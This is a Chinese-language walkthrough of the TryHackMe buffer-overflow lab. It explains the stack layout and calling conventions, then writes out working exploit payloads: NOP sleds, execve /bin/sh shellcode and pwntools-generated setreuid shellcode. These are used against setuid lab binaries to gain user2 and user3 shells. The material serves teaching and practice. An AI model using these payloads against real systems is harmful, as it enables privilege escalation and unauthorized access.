前言
-
学习如何开始使用基本的缓冲区溢出!
-
使用 radare2 (r2) 工具检查目标的内存布局。radare2 (r2)工具的地址链接:
https://github.com/radareorg/radare2
部署
-
target machine : 10.10.205.154
-
attack machine : 10.11.61.123 (本机kali连接openVPN)
-
SSH登录:
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflows] └─$ ssh user1@10.10.205.154 The authenticity of host '10.10.205.154 (10.10.205.154)' can't be established. ED25519 key fingerprint is SHA256:AsF56RWYwwHAw06LwzfQZsBY9+GuN1jrYmQRK3FP5dU. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.205.154' (ED25519) to the list of known hosts. user1@10.10.205.154's password: Last login: Wed Nov 27 21:42:30 2019 from 82.34.52.37 __| __|_ ) _| ( / Amazon Linux 2 AMI ___|\___|___| https://aws.amazon.com/amazon-linux-2/ [user1@ip-10-10-205-154 ~]$
-
Process Layout (流程布局)
-
当程序在机器上运行时,计算机将程序作为进程运行。当前的计算机体系结构允许计算机同时运行多个进程。虽然这些进程看似同时运行,但实际上计算机会在进程间快速切换,让它们看起来像是同时运行的。进程之间的切换称为上下文切换。由于每个进程运行时可能需要不同的信息(如当前要执行的指令),因此操作系统必须跟踪进程中的所有信息。进程中的内存是按顺序排列的,其布局如下:
-
用户栈(User stack)包含运行程序所需的信息。这些信息包括当前程序计数器、保存的寄存器和更多信息。用户堆栈后的部分是未使用的内存,用于堆栈增长(向下)时使用。
-
共享库区域(Shared library regions)用于静态/动态链接程序使用的库。
-
堆(heap)的增减取决于程序是否动态分配内存。请注意,在堆的上方有一个未分配的部分,在堆的大小增加时使用。
-
程序代码和数据(program code and data)存储程序的可执行文件和初始化变量。
-
x86-64 Procedures (x86-64 程序)
-
一个程序通常由多个函数组成,因此需要有一种方法来跟踪哪些函数被调用,以及哪些数据从一个函数传递到另一个函数。堆栈是一个由连续内存地址组成的区域,用来方便在函数之间传输控制和数据。栈顶位于最低的内存地址,栈会向更低的内存地址扩展。
- 堆栈最常见的操作有:
-
Pushing: 用于向栈中添加数据
-
Popping: 用于从栈中删除数据
-
push var
-
这是一条将数值推入堆栈的汇编指令。它的作用如下:
-
使用var或var内存位置中存储的值
-
将堆栈指针(称为 rsp)减少 8
-
将上面的值写入 rsp 的新位置,该位置现在位于栈顶。
-
-
-
pop var
-
这是一条读取数值并将其从堆栈中弹出的汇编指令。它的作用如下:
-
读取堆栈指针指定地址上的值
栈底()
堆栈顶(内存位置 0x0)(rsp 指向此处)
-
将堆栈指针增加8
-
将从rsp读取的值存储到var中
-
-
-
每个编译后的程序都可能包含多个函数,每个函数都需要存储局部变量、传递给函数的参数等。为了便于管理,每个函数都有自己独立的堆栈框架,每个新的堆栈框架都会在函数被调用时分配,并在函数完成时取消分配。
-
示例:
int add(int a, int b){ int new = a + b; return new; } int calc(int a, int b){ int final = add(a, b); return final; }
-
Procedures Continued (程序 续)
-
该解释假定当前执行点位于 calc 函数内部。在这种情况下,calc 被称为调用函数,而 add 被称为被调用函数。下面是 calc 函数内部的汇编代码
-
add 函数是使用汇编中的调用操作数调用的,在本例中为 callq sym.add。调用操作数可以使用一个标签作为参数(例如函数名称),也可以使用一个内存地址作为偏移量,以调用 *value 的形式作为函数的起始位置。一旦调用了 add 函数(并在函数执行完毕后),程序需要知道在哪一点上继续执行。为此,计算机会将下一条指令的地址推入堆栈,在本例中就是将包含 movl %eax, local_4h 这一行的指令地址推入堆栈。之后,程序将为新函数分配一个栈帧,将当前指令指针改为函数中的第一条指令,将栈指针(rsp)改为栈顶,并将帧指针(rbp)改为指向新帧的起点。
-
函数执行完毕后,将调用返回指令(retq)。这条指令将弹出堆栈的返回地址值,取消分配 add 函数的堆栈帧,将指令指针改为返回地址值,将堆栈指针(rsp)改为堆栈顶,将帧指针(rbp)改为 calc 的堆栈帧。
-
在上面的示例中,保存了函数需要参数的信息。calc函数需要 2 个参数(a 和 b)。函数的最多 6 个参数可以存储在以下寄存器中:
-
rdi
-
rsi
-
rdx
-
rcx
-
r8
-
r9
-
注:rax 是一个特殊寄存器,用于存储函数的返回值(如果有的话)。
-
如果函数不再有参数,这些参数将存储在函数栈帧中。
-
-
现在可以看到,调用者函数可以在寄存器中保存值,但如果被调用者函数也想在寄存器中保存值,会发生什么情况呢?为了确保寄存器中的值不被覆盖,被调用者首先将寄存器中的值保存在堆栈框架中,然后使用这些寄存器,再将这些值加载回寄存器中。调用者函数也可以将值保存在调用者函数帧上,以防止值被覆盖。以下是关于哪些寄存器被调用者保存,哪些寄存器被被调用者保存的一些规则:
-
rax 被调用者保存。
-
rdi、rsi、rdx、rcx、r8 和 r9 被调用者保存(它们通常是函数的参数)。
-
r10、r11 被调用者保存
-
rbx, r12, r13, r14 被被调用者保存
-
rbp 也是被被调用者保存的(并且可以作为帧指针使用)
-
rsp 被被调用者保存
-
Endianess
-
在上述程序中,可以看到二进制信息是以十六进制格式表示的。不同的体系结构实际上会以不同的方式表示相同的十六进制数,这就是所谓的Endianess无尾数。让我们以 0x12345678 的值为例。在这里,最小有效值是最右边的值(78),而最大有效值是最左边的值(12)。
-
Little Endian(小端字节序)是指数值从最小有效字节到最大有效字节的排列方式:
-
Big Endian(大端字节序)是指数值从最高位字节排序到最低位字节。
Overwriting Variables (重写变量)
-
在了解了所有背景信息之后,来探究一下溢出的实际工作原理。如果查看一下 overflow-1 文件夹,就会发现一些带有二进制程序的 C 代码。我们的目标是改变整数变量的值。
[user1@ip-10-10-205-154 ~]$ ls overflow-1 overflow-2 overflow-3 overflow-4 [user1@ip-10-10-205-154 ~]$ cd overflow-1 [user1@ip-10-10-205-154 overflow-1]$ ls int-overflow int-overflow.c [user1@ip-10-10-205-154 overflow-1]$ cat int-overflow.c #include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int variable = 0; char buffer[14]; gets(buffer); if(variable != 0) { printf("You have changed the value of the variable\n"); } else { printf("Try again?\n"); } }
-
从 C 代码中可以看到,整数变量和字符缓冲区是相邻分配的–由于内存是以连续字节分配的,因此可以认为整数变量和字符缓冲区是相邻分配的。
-
注意:情况并非总是如此。根据编译器和堆栈的配置方式,在分配变量时,需要按照特定的大小边界(如 8 字节、16 字节)对齐,以方便内存分配/重新分配。因此,如果分配一个 12 字节的数组,堆栈对齐为 16 字节,那么内存就会是这个样子:
-
编译器会自动增加 4 个字节,以确保变量的大小与堆栈大小一致。从上面的堆栈图像中,可以假定主函数的堆栈框架如下所示:
-
尽管堆栈是向下增长的,但在向缓冲区复制/写入数据时,数据会从低地址复制到高地址。根据数据输入缓冲区的方式,这意味着有可能覆盖整数变量。从 C 代码中可以看到,gets 函数用于从标准输入向缓冲区输入数据。gets 函数很危险,因为它没有真正的长度检查 - 这意味着可以输入超过 14 字节的数据,从而覆盖整数变量。
-
运行overflow-1这个文件夹中的C程序来覆盖上述变量!
[user1@ip-10-10-205-154 overflow-1]$ ./int-overflow 12345678912345 Try again? [user1@ip-10-10-205-154 overflow-1]$ ./int-overflow 123456789123456 You have changed the value of the variable
Overwriting Function Pointers (重写函数指针)
-
查看overflow-2文件夹:
[user1@ip-10-10-205-154 ~]$ cd overflow-2 [user1@ip-10-10-205-154 overflow-2]$ ls func-pointer func-pointer.c [user1@ip-10-10-205-154 overflow-2]$ cat func-pointer.c #include <stdlib.h> #include <unistd.h> #include <stdio.h> void special() { printf("this is the special function\n"); printf("you did this, friend!\n"); } void normal() { printf("this is the normal function\n"); } void other() { printf("why is this here?"); } int main(int argc, char **argv) { volatile int (*new_ptr) () = normal; char buffer[14]; gets(buffer); new_ptr(); }
-
与上面的示例类似,使用 gets 函数将数据读入缓冲区,但缓冲区上方的变量并不是指向函数的指针。指针,顾名思义,是用来指向内存位置的,本例中的内存位置就是普通函数的内存位置。堆栈的布局与上面的示例类似,但这次必须找到调用特殊函数的方法(也许是使用函数的内存地址)。尝试在程序中调用特殊函数。
-
请记住,这台机器的体系结构是小端字节序!
-
使用gdb调试overflow-2文件夹下的func-pointer可执行程序。
[user1@ip-10-10-138-137 overflow-2]$ gdb func-pointer ··· (gdb)
- set命令
set exec-wrapper env -u LINES -u COLUMNS
, 它将为 gdb 设置environment从而可以使用我们所运行的任何可执行文件的绝对路径,这意味着在 gdb 内部所进行的任何利用操作在gdb外部也能够得以奏效。
(gdb) set exec-wrapper env -u LINES -u COLUMNS (gdb)
- 由上述代码可知,buffer字符数组大小被设置为14,尝试输入14个字符及更多:
(gdb) run Starting program: /home/user1/overflow-2/func-pointer Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64 aaaaaaaaaaaaaa Program received signal SIGILL, Illegal instruction. 0x00007fffffffe4b8 in ?? () (gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-2/func-pointer aaaaaaaaaaaaaaa Program received signal SIGSEGV, Segmentation fault. 0x0000000000400061 in ?? () ··· (gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-2/func-pointer aaaaaaaaaaaaaaaaaaaa Program received signal SIGSEGV, Segmentation fault. 0x0000616161616161 in ?? () (gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-2/func-pointer aaaaaaaaaaaaaaaaaaaaa Program received signal SIGSEGV, Segmentation fault. 0x00000000004005da in main ()
a的16进制为61,输入14个时还未发生溢出覆盖,输入15个时返回地址最右变字符为61,对应多输出的a;继续输入,直到输入20个字符a,返回地址被完全覆盖,当输入21个a字符时返回地址就会重定向到其他地方,此时可知,除了buffer字符数组所需的14个字节外,只需要6个字节就可以完全覆盖返回地址
- 为了调用special()函数,在gdbzhong 使用
disassemble special
可查看其地址:
(gdb) disassemble special Dump of assembler code for function special: 0x0000000000400567 <+0>: push %rbp 0x0000000000400568 <+1>: mov %rsp,%rbp 0x000000000040056b <+4>: mov $0x400680,%edi 0x0000000000400570 <+9>: callq 0x400460 <puts@plt> 0x0000000000400575 <+14>: mov $0x40069d,%edi 0x000000000040057a <+19>: callq 0x400460 <puts@plt> 0x000000000040057f <+24>: nop 0x0000000000400580 <+25>: pop %rbp 0x0000000000400581 <+26>: retq End of assembler dump.
-
special()函数将从“0x0000000000400567”开始(也就是函数的起始地址),而目标机器采用了小端字节序吸入地址,因此其内存位置为
\x67\x05\x40\x00\x00\x00
,对应ASCII表可知其对应的字符形式:(gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-2/func-pointer aaaaaaaaaaaaaag^E@^@^@^@ this is the special function you did this, friend! [Inferior 1 (process 3464) exited normally]
-
缓冲区溢出示例1
- 查看靶机中的 overflow-3 文件夹,在此文件夹中,我们将找到以下 C 代码:
[user1@ip-10-10-138-137 overflow-2]$ cd ..
[user1@ip-10-10-138-137 ~]$ cd overflow-3
[user1@ip-10-10-138-137 overflow-3]$ ls
buffer-overflow buffer-overflow.c secret.txt
[user1@ip-10-10-138-137 overflow-3]$ cat buffer-overflow.c
#include <stdio.h>
#include <stdlib.h>
void copy_arg(char *string)
{
char buffer[140];
strcpy(buffer, string);
printf("%s\n", buffer);
return 0;
}
int main(int argc, char **argv)
{
printf("Here's a program that echo's out your input\n");
copy_arg(argv[1]);
}
-
在前面的示例中,我们已经知道当程序接受用户控制的输入时,它可能不会检查输入的字节长度,因此恶意用户就能够覆盖变量值并实际更改相关变量。
-
在本例中,观察copy_arg 函数,我们可以看到其中的 strcpy 函数正在将字符串(即 argv[1],命令行参数)的输入复制到长度为 140 字节的缓冲区中。 由于 strcpy 函数的性质,它不会检查所输入数据的长度,所以此处有可能发生缓冲区溢出。
-
copy_arg 函数的栈(这个栈不包括 strcpy
-
当一个函数(在本例中为 main)调用另一个函数(在本例中为 copy_args)时,它需要在堆栈上添加返回地址,以便被调用函数(copy_args)知道一旦完成执行应该将控制权转移到哪里。 从上面的栈中,我们知道输入的数据会从buffer[0]向上一直复制到buffer[140],由于我们可以溢出缓冲区,因此我们可以用我们自己构造的值溢出并覆盖返回地址——也就是说我们可以控制函数返回的位置并改变程序的执行流程。
-
一旦知道我们可以通过将返回地址指向某个内存地址来控制程序执行流程,那么shellcode 就有了用武之地,shellcode 顾名思义就是用于打开 shell 的代码,具体而言,它是一些可以被执行的二进制指令;由于 shellcode 是机器代码(以二进制指令的形式存在),我们通常可以先编写一个 C 程序来执行我们想要的操作,然后再将其编译成汇编形式并提取相关的十六进制字符(可能它还会涉及编写自定义的程序集),现在我们将使用下面这个能够打开基本 shell 的 shellcode:
\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05
-
我们需要将被覆盖的返回地址指向 shellcode,但是我们还要知道实际上要将 shellcode 存储在哪里以及我们应该将它指向什么实际地址? 我们可以将 shellcode 存储在缓冲区中 - 因为我们知道缓冲区的起始地址,所以我们可以覆盖返回地址以将其指向缓冲区的开头位置。以下是一些相关过程:
-
找出缓冲区的起始地址和返回地址的起始地址
-
计算这些地址之间的差异,以便我们知道要输入多少数据才能导致缓冲区溢出
-
首先在缓冲区中输入 shellcode,然后在 shellcode 和返回地址之间输入随机数据,还要在返回地址中输入缓冲区的地址(以完成对返回地址的覆盖)
-
-
从理论上讲,完成以上过程可能会有一个很好的效果,但是,内存地址在不同系统上可能不相同,即使在重新编译程序时在同一台计算机上也是如此,所以我们还可以使用 NOP 指令使以上过程更加灵活;NOP指令是一条无操作指令——当系统处理这条指令时,它将什么也不做,继续往下执行,NOP 指令可以使用\x90来表示;我们可以将 NOP 作为有效载荷的一部分,这意味着攻击者可以跳转到包含 NOP 的内存区域中的任何位置,并最终到达预期的指令,注入向量的情况将如下所示:
-
可能已经注意到 shellcode、内存地址和 NOP sled 通常是十六进制代码,为了便于将有效载荷传递给输入程序,我们可以使用 python命令:
python -c "print (NOP * no_of_nops + shellcode + random_data * no_of_random_data + memory address)"
python -c "print('\x90' * 30 +'\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05'+ '\x41' * 60 + '\xef\xbe\xad\xde') | ./program_name "
在某些情况下,我们可能需要在 ./program_name 之前传递 xargs。
-
使用上述方法,打开一个shell,读取虚拟靶机中的overflow-3 文件夹下的secret.txt文件内容。:
[user1@ip-10-10-138-137 overflow-3]$ gdb -q buffer-overflow Reading symbols from buffer-overflow...(no debugging symbols found)...done. (gdb) run $(python -c "print('A'*158)") Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('A'*158)") Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64 Here's a program that echo's out your input AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x0000414141414141 in ?? () (gdb)
-
字符A对应的16进制为小x41(一个十六进制位占1个字节长度),输入158个A后,已经覆盖6字节长的返回地址, 这意味着我们到达返回地址开头的偏移量是 158-6 = 152字节。
- shellcode采用
https://www.arsouyes.org/blog/2019/54_Shellcode/
结尾的40字节shellcode:
\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
- 整个有效载荷构成可以是这样子的:
NOP sled(90)+shell code(40)+random chars(22)+Memory Address(6)
, 即:'\x90' * 90 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x41' * 22 + 'B' * 6
- 验证有效载荷:
(gdb) run $(python -c "print('\x90' * 90 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x41' * 22 + 'B' * 6)") The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('\x90' * 90 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x41' * 22 + 'B' * 6)") Here's a program that echo's out your input ������������������������������������������������������������������������������������������j;XH1�I�//bin/shI�APH��RWH��j<XH1�AAAAAAAAAAAAAAAAAAAAAABBBBBB Program received signal SIGSEGV, Segmentation fault. 0x0000424242424242 in ?? () (gdb)
- 查看NOP sled字符串所在位置以及shellcode开头:
x/100x $rsp-200 #这将从内存位置 $rsp -200 字节处转储 100*4 字节。
Memory Address 取 NOP sled 和 shellcode 之间的地址(如0x7fffffffe298):
则有效载荷可与为:
'\x90' * 90 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x41' * 22 + '\x98\xe2\xff\xff\xff\x7f'
(gdb) run $(python -c "print('\x90' * 90 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x41' * 22 + '\x98\xe2\xff\xff\xff\x7f')") The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user1/overflow-3/buffer-overflow $(python -c "print('\x90' * 90 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x41' * 22 + '\x98\xe2\xff\xff\xff\x7f')") Here's a program that echo's out your input ������������������������������������������������������������������������������������������j;XH1�I�//bin/shI�APH��RWH��j<XH1�AAAAAAAAAAAAAAAAAAAAAA����� process 5260 is executing new program: /usr/bin/bash sh-4.2$
- 获取shell后,查看相关信息:
sh-4.2$ ls Detaching after fork from child process 5263. buffer-overflow buffer-overflow.c secret.txt sh-4.2$ cat secret.txt Detaching after fork from child process 5264. cat: secret.txt: Permission denied sh-4.2$ whoami Detaching after fork from child process 5265. user1 sh-4.2$ ls -al Detaching after fork from child process 5312. total 20 drwxrwxr-x 2 user1 user1 72 Sep 2 2019 . drwx------ 7 user1 user1 169 Nov 27 2019 .. -rwsrwxr-x 1 user2 user2 8264 Sep 2 2019 buffer-overflow -rw-rw-r-- 1 user1 user1 285 Sep 2 2019 buffer-overflow.c -rw------- 1 user2 user2 22 Sep 2 2019 secret.txt
-
secret.txt权限用户为user2,而当前shell用户为user1,需要切换用户来读取secret.txt文件
-
buffer-overflow文件设置了setuid位,可以利用这一点,
cat /etc/passwd
命令以找到user2的UID(1002):
sh-4.2$ cat /etc/passwd ··· user1:x:1001:1001::/home/user1:/bin/bash user2:x:1002:1002::/home/user2:/bin/bash user3:x:1003:1003::/home/user3:/bin/bash
-
使用setreuid() 可以重新设置真实和有效的uid,我们可以添加setreuid()以修改之前的shellcode,让它在执行/bin/sh之前先执行setreuid(1002,1002)即可。
- 注:在这些漏洞攻击中,大多数时候我们想要成为root,我们的目标是拥有setuid-root位的二进制文件,在这种情况下,简单地执行setuid(0)将起作用,因为当在root上调用时,setuid(0)也将你的实际UID设置为root。
-
使用pwntools来帮助修改shellcode
- 安装pwntools工具:
sudo apt-get update sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential sudo apt install pipx sudo python3 -m pipx install pipx sudo python3 -m pipx install pwntools
或者
sudo apt install python3-pwntools
- 使用pwntools的shellcraft 模块:
pwn shellcraft -f d amd64.linux.setreuid 1002 #-f d将shellcode格式设置为“转义”,也可以设置-f a 以查看汇编版本的shellcode
┌──(kali㉿kali)-[~/桌面/THM/Buffer Overflows] └─$ sudo pwn shellcraft -f d amd64.linux.setreuid 1002 [sudo] kali 的密码: \x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05
得到setreuid(1002,1002)所对应的shellcode:
\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05
- 将setreuid(1002,1002)所对应的shellcode添加到我们之前获得目标shell所使用的shellcode之中即可,最终需执行以下命令:
./buffer-overflow $(python -c "print('\x90'*90 + '\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x41'*8 + '\x98\xe2\xff\xff\xff\x7f')")
[user1@ip-10-10-138-137 overflow-3]$ ls buffer-overflow buffer-overflow.c secret.txt [user1@ip-10-10-138-137 overflow-3]$ ./buffer-overflow $(python -c "print('\x90'*90 + '\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x41'*8 + '\x98\xe2\xff\xff\xff\x7f')") Here's a program that echo's out your input ������������������������������������������������������������������������������������������1�f��jqXH��j;XH1�I�//bin/shI�APH��RWH��j<XH1�AAAAAAAA����� sh-4.2$ whoami user2 sh-4.2$ ls buffer-overflow buffer-overflow.c secret.txt
- shellcode采用
-
缓冲区溢出示例2
-
首先查看overflow-4 文件夹下的buffer-overflow-2.c文件。
[user1@ip-10-10-242-128 overflow-4]$ ls a.out buffer-overflow-2 buffer-overflow-2.c secret.txt [user1@ip-10-10-242-128 overflow-4]$ cat buffer-overflow-2.c #include <stdio.h> #include <stdlib.h> void concat_arg(char *string) { char buffer[154] = "doggo"; strcat(buffer, string); printf("new word is %s\n", buffer); return 0; } int main(int argc, char **argv) { concat_arg(argv[1]); }
-
目标缓冲区有154个字节,但doggo已经用了5个字节,即从149个字节开始测试:
[user1@ip-10-10-242-128 overflow-4]$ gdb -q ./buffer-overflow-2 Reading symbols from ./buffer-overflow-2...(no debugging symbols found)...done. (gdb) run $(python -c "print('A'*(154-5+8*2+4))") Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print('A'*(154-5+8*2+4))") Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64 new word is doggoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x0000414141414141 in ?? () 此时已完全覆盖返回地址,偏移量为169
-
查看文件权限,为use3(1003):
[user1@ip-10-10-242-128 overflow-4]$ ls -al total 28 drwxrwxr-x 2 user1 user1 89 Dec 19 02:36 . drwx------ 7 user1 user1 169 Nov 27 2019 .. -rwxrwxr-x 1 user1 user1 6200 Dec 19 02:36 a.out -rwsr-xr-x 1 user3 user3 8272 Sep 3 2019 buffer-overflow-2 -rw-rw-r-- 1 user1 user1 250 Sep 3 2019 buffer-overflow-2.c -rw------- 1 user3 user3 17 Sep 2 2019 secret.txt
-
setreuid(1003)的shellcode为:
root@ip-10-10-101-253:~# pwn shellcraft -f d amd64.linux.setreuid 1003 \x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05
-
验证payload:NOP(90)+shellcode(54)+random(19)+memory(6)
[user1@ip-10-10-242-128 overflow-4]$ gdb -q ./buffer-overflow-2 Reading symbols from ./buffer-overflow-2...(no debugging symbols found)...done. (gdb) run $(python -c "print('\x90'*90 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x90'*19 + 'C'*6)") Starting program: /home/user1/overflow-4/buffer-overflow-2 $(python -c "print('\x90'*90 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x90'*19 + 'C'*6)") Missing separate debuginfos, use: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64 new word is doggo\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd1\ufffdf\ufffd\ufffdjqXH\ufffd\ufffdj;XH1\ufffdI\ufffd//bin/shI\ufffdAPH\ufffd\ufffdRWH\ufffd\ufffdj<XH1\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdCCCCCC Program received signal SIGSEGV, Segmentation fault. 0x0000434343434343 in ?? ()
-
查看NOP sled字符串所在位置以及shellcode开头:
Memory Address 取 NOP sled 和 shellcode 之间的地址(如0x7fffffffe398):
[user1@ip-10-10-242-128 overflow-4]$ ./buffer-overflow-2 $(python -c "print('\x90'*90 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + '\x90'*19 + '\x98\xe3\xff\xff\xff\x7f')") new word is doggo\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd1\ufffdf\ufffd\ufffdjqXH\ufffd\ufffdj;XH1\ufffdI\ufffd//bin/shI\ufffdAPH\ufffd\ufffdRWH\ufffd\ufffdj<XH1\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd sh-4.2$
-
获取到user3的shell后查看文件:
sh-4.2$ a.out buffer-overflow-2 buffer-overflow-2.c secret.txt sh-4.2$ whoami user3